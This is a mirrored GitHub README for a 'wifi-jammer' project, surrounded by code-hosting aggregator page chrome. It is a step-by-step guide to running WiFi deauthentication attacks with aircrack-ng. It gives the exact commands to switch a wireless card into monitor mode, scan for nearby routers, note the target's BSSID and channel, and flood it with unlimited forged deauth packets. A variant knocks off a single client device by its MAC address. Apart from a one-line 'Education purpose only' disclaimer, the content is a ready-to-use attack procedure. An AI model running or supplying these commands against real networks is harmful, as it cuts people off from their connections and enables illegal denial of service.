Git Product home page Git Product logo

wifi-jammer's Introduction

wifi-jammer

wifi jammer using aircrack-ng without any external wifi adapters. If you looking for an automated script head over to my another repo here

What is deauth attack

A deauth attack sends forged deauthentication packets from your machine to a client connected to the network you are trying to jam. These packets include fake "sender" addresses that make them appear to the client as if they were sent from the access point themselves. Upon receipt of such packets, most clients disconnect from the network and immediately reconnect.

Getting started

Install aircrack-ng on your machine and make sure your wifi card supports monitor mode (your in-build wifi card is enough if it supports monitor mode)

sudo apt install aircrack-ng

Jamming

Monitor Mode

  1. type iwconfig in your terminal

    Screenshot_20240715_183247

In this instance, my wireless card is called wlan0.

  1. Now run
sudo airmon-ng start wlan0

where wlan0 is your network card. This will put your card into monitor mode which allows the card to monitor all traffic on the network.

2

as you can see my wifi card is now in monitor mode

  1. You will need to run iwconfig again because after switching to monitor mode it will change your network card name. In most cases it changes it to mon0 but in mine it’s changed to wlan0mon.

    3

  2. Now run

sudo airodump-ng wlan0mon

4

This is every single router in range. Wait for some moments and once you find your target Press ctrl+c to stop. Now we just gonna deauth my router named victim.

We want to take note of 2 things here:

The BSSID (mac address) of the router
The Channel(CH) of the router

In my case the channel is 4 and copy the corresponding bssid

  1. Now run the following command
sudo airodump-ng wlan0mon --bssid [routers BSSID here] -c [routers channel here]

-c for channel .

5

now it shows like this. Press ctrl+c to stop.

  1. now run
sudo aireplay-ng --deauth 0 -a [ROUTERS BSSID HERE] wlan0mon

The 0 represents an infinite amount of deauth attacks. If you wanted to only run 5 deauth attacks you’ll change this to 5.

6

Press ctrl+c to stop.

Now most of the devices connected to the router 'victim' will be disconnected. Connected devices try to reconnect to the router 'victim' but again it will be disconnected. But some of the devices might not get disconnect from the wifi router( Samsung devices ). In this situations you can just do deauthenticate specific device alone rather then sending deauth packets the whole wifi router. For instance imagine 2 devices connected to the router Victim you can just send deauthentication packets to one device and knock that device from being connected to the router Victim.

For specific device attack just repeat from step 4 and make changes in the final 6th step as follows

sudo aireplay-ng --deauth 0 -a [ROUTERS BSSID HERE] -c [DEVICES MAC ADDRESS] wlan0mon

Devices mac address can be found under the station coloumn. Bascially all the devices connceted to the wifi router Victim will be shown here.

Screenshot_20240715_180618

Managed Mode

After the attack put your wifi card in managed mode in order to use wifi in your pc

  1. Run
sudo airmon-ng stop wlan0mon  

That's it

Education purpose only

wifi-jammer's People

Contributors

mtm-x avatar

Stargazers

F1nch Thirteen  avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.